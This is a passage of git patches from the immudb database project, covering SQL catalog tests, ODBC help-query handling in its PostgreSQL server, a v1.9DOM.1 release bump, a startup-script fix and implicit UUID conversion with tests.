Jeronimo Irazabal --- pkg/server/multidb_handler_test.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pkg/server/multidb_handler_test.go b/pkg/server/multidb_handler_test.go index 3d8cfcf84f..e1b81ac772 100644 --- a/pkg/server/multidb_handler_test.go +++ b/pkg/server/multidb_handler_test.go @@ -33,7 +33,8 @@ func TestServerMultidbHandler(t *testing.T) { WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) - s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + s, closer := testServer(serverOptions) + defer closer() s.Initialize() From 5eef3a7cfd0943cd0f7745a2a27e7f42d7760de7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 11:48:51 +0100 Subject: [PATCH 0935/1062] test(embedded/sql): cover sql catalog stmt edge cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 45 +++++++++++++++++++++++++++++++ embedded/sql/stmt.go | 4 --- embedded/store/ongoing_tx_test.go | 2 ++ 3 files changed, 47 insertions(+), 4 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 7348ab05d8..fcebd179f3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -79,6 +79,15 @@ func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE USER user1 WITH PASSWORD 'user1Password!' READ", nil) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER USER user1 WITH PASSWORD 'user1Password!' ADMIN", nil) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) + + _, _, err = engine.Exec(context.Background(), nil, "DROP USER user1", nil) + require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) } func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { @@ -990,6 +999,9 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { for it := 0; it < 3; it++ { time.Sleep(1 * time.Microsecond) + _, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION; ROLLBACK;", nil) + require.NoError(t, err) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) @@ -1339,6 +1351,15 @@ func TestAlterTableDropColumn(t *testing.T) { }) t.Run("drop the last column", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "DROP TABLE table11", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 DROP COLUMN age", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + + _, _, err = engine.Exec(context.Background(), nil, "DROP INDEX ON table11(age)", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN age", nil) require.NoError(t, err) @@ -4212,6 +4233,9 @@ func TestJoins(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 RENAME TO table3", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table3", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) @@ -5989,6 +6013,27 @@ func TestMultiDBCatalogQueries(t *testing.T) { `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) + _, _, err = engine.Exec(context.Background(), nil, ` + BEGIN TRANSACTION; + CREATE USER user1 WITH PASSWORD 'user1Password!' READ; + COMMIT; + `, nil) + require.ErrorIs(t, err, ErrNonTransactionalStmt) + + _, _, err = engine.Exec(context.Background(), nil, ` + BEGIN TRANSACTION; + ALTER USER user1 WITH PASSWORD 'user1Password!' READ; + COMMIT; + `, nil) + require.ErrorIs(t, err, ErrNonTransactionalStmt) + + _, _, err = engine.Exec(context.Background(), nil, ` + BEGIN TRANSACTION; + DROP USER user1; + COMMIT; + `, nil) + require.ErrorIs(t, err, ErrNonTransactionalStmt) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.ErrorIs(t, err, ErrNoSupported) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 87516d369c..98fea43849 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -226,10 +226,6 @@ func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, par } func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if stmt.DB == "" { - return nil, fmt.Errorf("%w: no database name was provided", ErrIllegalArguments) - } - if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", ErrNonTransactionalStmt) } diff --git a/embedded/store/ongoing_tx_test.go b/embedded/store/ongoing_tx_test.go index 1c146ddaa7..6be884e479 100644 --- a/embedded/store/ongoing_tx_test.go +++ b/embedded/store/ongoing_tx_test.go @@ -91,4 +91,6 @@ func TestOngoingTxOptions(t *testing.T) { require.Error(t, opts.Validate()) require.Equal(t, 1*time.Hour, opts.WithSnapshotRenewalPeriod(1*time.Hour).SnapshotRenewalPeriod) + require.EqualValues(t, 1, opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 1 }).SnapshotMustIncludeTxID(100)) + require.True(t, opts.WithUnsafeMVCC(true).UnsafeMVCC) } From ed973e10557a8d2a28d61e24225c5b1b58742aec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Nov 2023 09:47:53 +0100 Subject: [PATCH 0936/1062] chore(pkg/pgsql): handle odbc help Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 4ad6bec9b8..dbf861ffc1 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -74,7 +74,7 @@ func (s *session) QueryMachine() error { if strings.HasPrefix(statements, tableHelpPrefix) { tableName := strings.Split(strings.TrimPrefix(statements, tableHelpPrefix), "'")[0] - statements = fmt.Sprintf("select column_name, type_name, is_nullable from table(%s)", tableName) + statements = fmt.Sprintf("select column_name as tq, column_name as tow, column_name as tn, column_name as COLUMN_NAME, type_name as DATA_TYPE, type_name as TYPE_NAME, type_name as p, type_name as l, type_name as s, type_name as r, is_nullable as NULLABLE, column_name as rk, column_name as cd, type_name as SQL_DATA_TYPE, type_name as sts, column_name as coll, type_name as orp, is_nullable as IS_NULLABLE, type_name as dz, type_name as ft, type_name as iau, type_name as pn, column_name as toi, column_name as btd, column_name as tmo, column_name as tin from table(%s)", tableName) } err := s.fetchAndWriteResults(statements, nil, nil, extQueryMode) @@ -258,6 +258,16 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return err } + if statements == "select current_schema()" { + _, err := s.writeMessage(bm.DataRow(nil, 0, resultColumnFormatCodes)) + if err != nil { + return err + } + + _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) + return err + } + if s.isInBlackList(statements) { _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) return err From 6808ecf6a938451c127e1850fe51845700aa054e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Nov 2023 10:15:26 +0100 Subject: [PATCH 0937/1062] test(pkg/pgsql): cover fixed query for odbc help Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops_test.go | 2 +- pkg/database/database.go | 2 +- pkg/pgsql/server/query_machine.go | 4 ++-- pkg/pgsql/server/query_machine_test.go | 20 ++++++++++++++++++++ 4 files changed, 24 insertions(+), 4 deletions(-) diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index de4bdf9915..d71418acf8 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -279,7 +279,7 @@ func TestExecAllOps(t *testing.T) { Set: []byte(`mySet`), } zList, err := db.ZScan(context.Background(), zScanOpt) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) println(len(zList.Entries)) require.Len(t, zList.Entries, batchCount*batchSize) } diff --git a/pkg/database/database.go b/pkg/database/database.go index bea5826d64..4af7a0be4d 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -37,7 +37,7 @@ import ( ) const MaxKeyResolutionLimit = 1 -const MaxKeyScanLimit = 1000 +const MaxKeyScanLimit = 2500 var ErrKeyResolutionLimitReached = errors.New("key resolution limit reached. It may be due to cyclic references") var ErrResultSizeLimitExceeded = errors.New("result size limit exceeded") diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index dbf861ffc1..16099e21ad 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -31,6 +31,8 @@ import ( fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) +const tableHelpPrefix = "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" + func (s *session) QueryMachine() error { var waitForSync = false @@ -70,8 +72,6 @@ func (s *session) QueryMachine() error { statements = "show tables" } - tableHelpPrefix := "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" - if strings.HasPrefix(statements, tableHelpPrefix) { tableName := strings.Split(strings.TrimPrefix(statements, tableHelpPrefix), "'")[0] statements = fmt.Sprintf("select column_name as tq, column_name as tow, column_name as tn, column_name as COLUMN_NAME, type_name as DATA_TYPE, type_name as TYPE_NAME, type_name as p, type_name as l, type_name as s, type_name as r, is_nullable as NULLABLE, column_name as rk, column_name as cd, type_name as SQL_DATA_TYPE, type_name as sts, column_name as coll, type_name as orp, is_nullable as IS_NULLABLE, type_name as dz, type_name as ft, type_name as iau, type_name as pn, column_name as toi, column_name as btd, column_name as tmo, column_name as tin from table(%s)", tableName) diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index ad546f201b..a58a537849 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -380,6 +380,26 @@ func TestSession_QueriesMachine(t *testing.T) { }, out: nil, }, + { + name: "schema info", + in: func(c2 net.Conn) { + ready4Query := make([]byte, len(bmessages.ReadyForQuery())) + c2.Read(ready4Query) + c2.Write(h.Msg('Q', h.S("select current_schema()"))) + c2.Close() + }, + out: nil, + }, + { + name: "schema info", + in: func(c2 net.Conn) { + ready4Query := make([]byte, len(bmessages.ReadyForQuery())) + c2.Read(ready4Query) + c2.Write(h.Msg('Q', h.S(tableHelpPrefix))) + c2.Close() + }, + out: nil, + }, } for i, tt := range tests { From 50a3141553c11d94438cb85db42edb7a2d689fa2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Nov 2023 10:56:45 +0100 Subject: [PATCH 0938/1062] test(pkg/pgsql): simplify query machine and cover edge cases Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 18 ++---------------- pkg/pgsql/server/query_machine_test.go | 2 +- 2 files changed, 3 insertions(+), 17 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 16099e21ad..5afed04b2c 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -31,6 +31,7 @@ import ( fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) +const helpPrefix = "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" const tableHelpPrefix = "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" func (s *session) QueryMachine() error { @@ -68,7 +69,7 @@ func (s *session) QueryMachine() error { case fm.QueryMsg: statements := v.GetStatements() - if statements == "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" { + if statements == helpPrefix { statements = "show tables" } @@ -253,21 +254,6 @@ func (s *session) QueryMachine() error { } func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, extQueryMode bool) error { - if len(statements) == 0 { - _, err := s.writeMessage(bm.EmptyQueryResponse()) - return err - } - - if statements == "select current_schema()" { - _, err := s.writeMessage(bm.DataRow(nil, 0, resultColumnFormatCodes)) - if err != nil { - return err - } - - _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) - return err - } - if s.isInBlackList(statements) { _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))) return err diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index a58a537849..20f0d8d8d3 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -391,7 +391,7 @@ func TestSession_QueriesMachine(t *testing.T) { out: nil, }, { - name: "schema info", + name: "table help", in: func(c2 net.Conn) { ready4Query := make([]byte, len(bmessages.ReadyForQuery())) c2.Read(ready4Query) From d5f425e46b4bfd0771274cb4c2ea77634421600c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Nov 2023 11:33:01 +0100 Subject: [PATCH 0939/1062] release: v1.9DOM.1 --- CHANGELOG.md | 12 ++++++++++-- Makefile | 2 +- helm/Chart.yaml | 4 ++-- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3deea0fb48..71351c7c76 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,15 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9DOM.1] - 2023-11-16 +### Changes +- **pkg/pgsql:** handle odbc help +- **pkg/server:** change permission automatically revokes existing ones + + -## [v1.9DOM.1-RC1] - 2023-11-13 +## [v1.9DOM.1-RC1] - 2023-11-14 ### Bug Fixes - lower databasename in OpenSession - **embedded/sql:** fix data-race when mapping keys @@ -3814,7 +3821,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...HEAD +[v1.9DOM.1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...v1.9DOM.1 [v1.9DOM.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...v1.9DOM.1-RC1 [v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0 [v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM diff --git a/Makefile b/Makefile index e636dcf5c1..bd494d56bd 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM.1-RC1 +VERSION=1.9DOM.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index c7f83d69fa..f7c9098cb4 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9DOM.0 -appVersion: "1.9DOM.0" +version: 1.9DOM.1 +appVersion: "1.9DOM.1" From de213812f4b1c8d29d6aa65993855f9446e12fc2 Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 16 Nov 2023 14:49:31 +0100 Subject: [PATCH 0940/1062] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0597c12398..04daea5d41 100644 --- a/README.md +++ b/README.md @@ -83,11 +83,11 @@ Click here to try out the immudb web console access in an [online demo environme ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM.0 for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM.1 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.9DOM.0/immudb-v1.9DOM.0-linux-amd64 -mv immudb-v1.9DOM.0-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.9DOM.1/immudb-v1.9DOM.1-linux-amd64 +mv immudb-v1.9DOM.1-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output From 2d2678af5d4524f83c66bde533215d85d84a6dd7 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 16 Nov 2023 16:34:02 +0100 Subject: [PATCH 0941/1062] fix: source /etc/sysconfig/immudb on AWS EC2 startup Fix https://github.com/codenotary/immudb/issues/1868: user can just set /etc/sysconfig/immudb with desired env variables. --- tools/rndpass/startup.sh | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tools/rndpass/startup.sh b/tools/rndpass/startup.sh index 9af1a01c4c..554213fbc3 100755 --- a/tools/rndpass/startup.sh +++ b/tools/rndpass/startup.sh @@ -1,9 +1,12 @@ #!/bin/sh - +if [ -f /etc/sysconfig/immudb ] +then + source /etc/sysconfig/immudb +fi if [ -z "$IMMUDB_ADMIN_PASSWORD" ] then - export IMMUDB_ADMIN_PASSWORD=`tr -cd '[:alnum:].,:;/@_=' < /dev/urandom|head -c 16` + IMMUDB_ADMIN_PASSWORD=`tr -cd '[:alnum:].,:;/@_=' < /dev/urandom|head -c 16` echo "Generated immudb password: $IMMUDB_ADMIN_PASSWORD" fi - +export IMMUDB_ADMIN_PASSWORD exec $@ From 2dc527fd124067e581ec7880faac0234871544b4 Mon Sep 17 00:00:00 2001 From: Georg Wechslberger Date: Sat, 11 Nov 2023 02:20:35 +0100 Subject: [PATCH 0942/1062] feat: automatically convert uuid strings and byte slices to uuid values --- embedded/sql/engine_test.go | 83 +++++++++++++++++++++++- embedded/sql/implicit_conversion.go | 21 ++++++ embedded/sql/implicit_conversion_test.go | 4 ++ pkg/stdlib/sql_test.go | 15 +++-- 4 files changed, 117 insertions(+), 6 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index fcebd179f3..fbe4e8e70c 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -32,6 +32,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" + "github.com/google/uuid" "github.com/stretchr/testify/require" "github.com/stretchr/testify/suite" ) @@ -383,7 +384,7 @@ func TestTimestampCasts(t *testing.T) { func TestUUIDAsPK(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS uuid_table(id UUID, PRIMARY KEY id)", nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS uuid_table(id UUID, test INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "uuid_table", "id") @@ -426,6 +427,46 @@ func TestUUIDAsPK(t *testing.T) { require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) + t.Run("must accept uuid string as an UUID", func(t *testing.T) { + id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, test) VALUES(@uuid, 3)", map[string]interface{}{ + "uuid": id.String(), + }) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table WHERE test = 3", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + require.Equal(t, id, row.ValuesByPosition[0].RawValue()) + }) + + t.Run("must accept byte slice as an UUID", func(t *testing.T) { + id := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, test) VALUES(@uuid, 4)", map[string]interface{}{ + "uuid": id[:], + }) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table WHERE test = 4", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + require.Equal(t, id, row.ValuesByPosition[0].RawValue()) + }) + } func TestUUIDNonPK(t *testing.T) { @@ -452,6 +493,46 @@ func TestUUIDNonPK(t *testing.T) { require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) + t.Run("UUID as non PK must accept uuid string", func(t *testing.T) { + id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(2, @id, 't')", map[string]interface{}{ + "id": id.String(), + }) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table WHERE id = 2 LIMIT 1", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + require.Equal(t, id, row.ValuesByPosition[0].RawValue()) + }) + + t.Run("UUID as non PK must accept byte slice", func(t *testing.T) { + id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(3, @id, 't')", map[string]interface{}{ + "id": id[:], + }) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table WHERE id = 3 LIMIT 1", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + require.Equal(t, id, row.ValuesByPosition[0].RawValue()) + }) + } func TestFloatType(t *testing.T) { diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index 4cc15017f3..a69fca80d1 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -16,6 +16,8 @@ limitations under the License. package sql +import "github.com/google/uuid" + // mayApplyImplicitConversion may do an implicit type conversion // implicit conversion is currently done in a subset of possible explicit conversions i.e. CAST func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType) (interface{}, error) { @@ -73,6 +75,25 @@ func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType typedVal = &Varchar{val: value} } + case UUIDType: + switch value := val.(type) { + case uuid.UUID: + return val, nil + case string: + converter, err = getConverter(VarcharType, UUIDType) + if err != nil { + return nil, err + } + + typedVal = &Varchar{val: value} + case []byte: + converter, err = getConverter(BLOBType, UUIDType) + if err != nil { + return nil, err + } + + typedVal = &Blob{val: value} + } default: // No implicit conversion rule found, do not convert at all return val, nil diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go index 10da9fa68b..fc950e3005 100644 --- a/embedded/sql/implicit_conversion_test.go +++ b/embedded/sql/implicit_conversion_test.go @@ -20,6 +20,7 @@ import ( "fmt" "testing" + "github.com/google/uuid" "github.com/stretchr/testify/require" ) @@ -34,6 +35,9 @@ func TestApplyImplicitConversion(t *testing.T) { {1.0, Float64Type, float64(1)}, {"1", IntegerType, int64(1)}, {"4.2", Float64Type, float64(4.2)}, + // UUID Version 4, RFC4122 Variant + {"00010203-0440-0680-0809-0a0b0c0d0e0f", UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})}, + {[]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}, UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { convVal, err := mayApplyImplicitConversion(d.val, d.requiredType) diff --git a/pkg/stdlib/sql_test.go b/pkg/stdlib/sql_test.go index c3e778cc34..105d73318d 100644 --- a/pkg/stdlib/sql_test.go +++ b/pkg/stdlib/sql_test.go @@ -28,6 +28,7 @@ import ( "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" + "github.com/google/uuid" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" @@ -109,16 +110,18 @@ func TestQueryCapabilities(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() - result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) + result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, publicID UUID, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") - _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", binaryContent, true) + uuidPublicID := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", binaryContent, true, uuidPublicID) require.NoError(t, err) binaryContent2 := []byte("my blob content2") - _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", binaryContent2, true) + uuidPublicID2 := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", binaryContent2, true, uuidPublicID2) require.NoError(t, err) var id int64 @@ -126,20 +129,22 @@ func TestQueryCapabilities(t *testing.T) { var title string var isPresent bool var content []byte + var publicID uuid.UUID - rows, err := 